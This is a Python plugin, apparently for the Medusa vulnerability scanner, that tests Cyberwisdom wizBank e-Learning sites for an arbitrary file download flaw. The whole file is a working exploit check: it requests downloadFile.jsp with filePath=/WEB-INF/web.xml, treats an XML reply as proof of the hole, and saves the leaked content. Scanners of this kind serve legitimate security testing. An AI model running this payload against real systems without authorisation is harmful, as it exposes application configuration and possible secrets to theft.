#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import ClassCongregation

class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number'] = "0"  # 平台漏洞编号，留空
        self.info['author'] = "KpLi0rn"  # 插件作者
        self.info['createDate'] = "2020-2-05"  # 插件编辑时间
        self.info['disclosure'] = '2016-01-17'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "CyberwisdomArbitraryFileDownloadVulnerability2"  # 插件名称
        self.info['name'] = '汇思软件任意文件下载漏洞'  # 漏洞名称
        self.info['affects'] = "Cyberwisdom"  # 漏洞组件
        self.info['desc_content'] = "汇思e-Learning平台wizBank网站配置不当导致可以直接下载应用配置信息。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "无"  # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果

def medusa(Url,RandomAgent,ProxyIp):
    scheme, url, port = ClassCongregation.UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        payload = "/fileServer/fileUpload/downloadFile.jsp?filePath=/WEB-INF/web.xml"
        payload_url = scheme + "//" + url + ":" + str(port) + payload
        headers = {
            'User-Agent': RandomAgent,
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
        }
        s = requests.session()
        resp = s.get(payload_url, headers=headers, timeout=6, verify=False)
        con = resp.text
        code = resp.status_code
        if code == 200 and con.find('xml version') != -1 :
            Medusa = "{}存在汇思软件任意文件下载漏洞\r\n验证数据:\r\nUrl:{}\r\nPayload:{}\r\n".format(url, payload_url,con)
            _t = VulnerabilityInfo(Medusa)
            web = ClassCongregation.VulnerabilityDetails(_t.info)
            web.High()
            ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception:
        _ = VulnerabilityInfo('').info.get('algroup')
        _l = ClassCongregation.ErrorLog().Write(url, _)  # 调用写入类传入URL和错误插件名

